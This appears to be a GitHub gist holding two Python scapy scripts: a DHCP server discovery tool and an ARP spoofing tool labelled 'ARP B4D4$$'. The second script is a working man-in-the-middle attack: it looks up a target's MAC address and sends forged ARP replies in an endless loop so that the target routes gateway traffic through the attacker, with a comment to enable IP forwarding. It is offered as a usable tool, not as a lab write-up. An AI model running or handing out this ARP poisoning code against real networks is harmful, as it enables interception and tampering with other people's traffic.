Last active
July 19, 2016 10:31
-
-
Save toufik-airane/2a3113686efddaffb417 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from scapy.all import * | |
import threading | |
def sendp_dhcp_discover(): | |
conf.checkIPaddr = False | |
fam,hw = get_if_raw_hwaddr(conf.iface) | |
dhcp_p_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/ \ | |
IP(src="0.0.0.0",dst="255.255.255.255")/ \ | |
UDP(sport=68,dport=67)/ \ | |
BOOTP(chaddr=hw)/ \ | |
DHCP(options=[("message-type","discover")]) | |
sendp(dhcp_p_discover, iface="eth0", inter=1, count=10, verbose=False) | |
def sniff_dhcp_discover(): | |
sniff(filter="udp and (port 67 or 68)", \ | |
prn=callback_dhcp_discover, store=0, count=10) | |
def callback_dhcp_discover(p): | |
if p["IP"].src not in "0.0.0.0" and p != None: | |
print "DHCP found : " + p["IP"].src | |
if __name__=="__main__": | |
print "DHCP discover ~" | |
threading.Thread(target=sendp_dhcp_discover).start() | |
threading.Thread(target=sniff_dhcp_discover).start() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# sysctl net.inet.ip.forwarding=1 | |
# | |
from scapy.all import * | |
import sys | |
import threading | |
from argparse import ArgumentParser | |
parser = ArgumentParser(description="ARP B4D4$$") | |
parser.add_argument("mode", type=str, help="Mode ( arping, arpoison )") | |
parser.add_argument("--gateway", type=str, help="Gateway") | |
parser.add_argument("--target", type=str, help="Target") | |
parser.add_argument("--interface", type=str, help="Interface") | |
args = parser.parse_args() | |
def arping(target): | |
parping=ARP(op="who-has", pdst=target) | |
return sr(parping, retry=3, timeout=5, verbose=False)[0][0][1].hwsrc | |
def arpoison(gateway, target, interface=conf.iface): | |
parpoison=ARP(op="is-at",\ | |
psrc=gateway,\ | |
pdst=target,\ | |
hwsrc=get_if_hwaddr(interface),\ | |
hwdst=arping(target)) | |
send(parpoison, loop=1,inter=2) | |
arpoison(args.gateway, args.target) | |
""" | |
def sendp_dhcp_discover(interface=conf.iface): | |
conf.checkIPaddr = False | |
fam,hw = get_if_raw_hwaddr(interface) | |
pdhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/ \ | |
IP(src="0.0.0.0",dst="255.255.255.255")/ \ | |
UDP(sport=68,dport=67)/ \ | |
BOOTP(chaddr=hw)/ \ | |
DHCP(options=[("message-type","discover")]) | |
sendp(pdhcp_discover, inter=1, count=10, verbose=False) | |
def sniff_dhcp_discover(): | |
sniff(filter="udp and (port 67 or 68)", \ | |
prn=callback_dhcp_discover, store=0, count=10) | |
def callback_dhcp_discover(p): | |
if p["IP"].src not in "0.0.0.0" and p != None: | |
print "DHCP found : " + p["IP"].src | |
if __name__=="__main__": | |
print "DHCP discover ~" | |
threading.Thread(target=sendp_dhcp_discover).start() | |
threading.Thread(target=sniff_dhcp_discover).start() | |
""" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment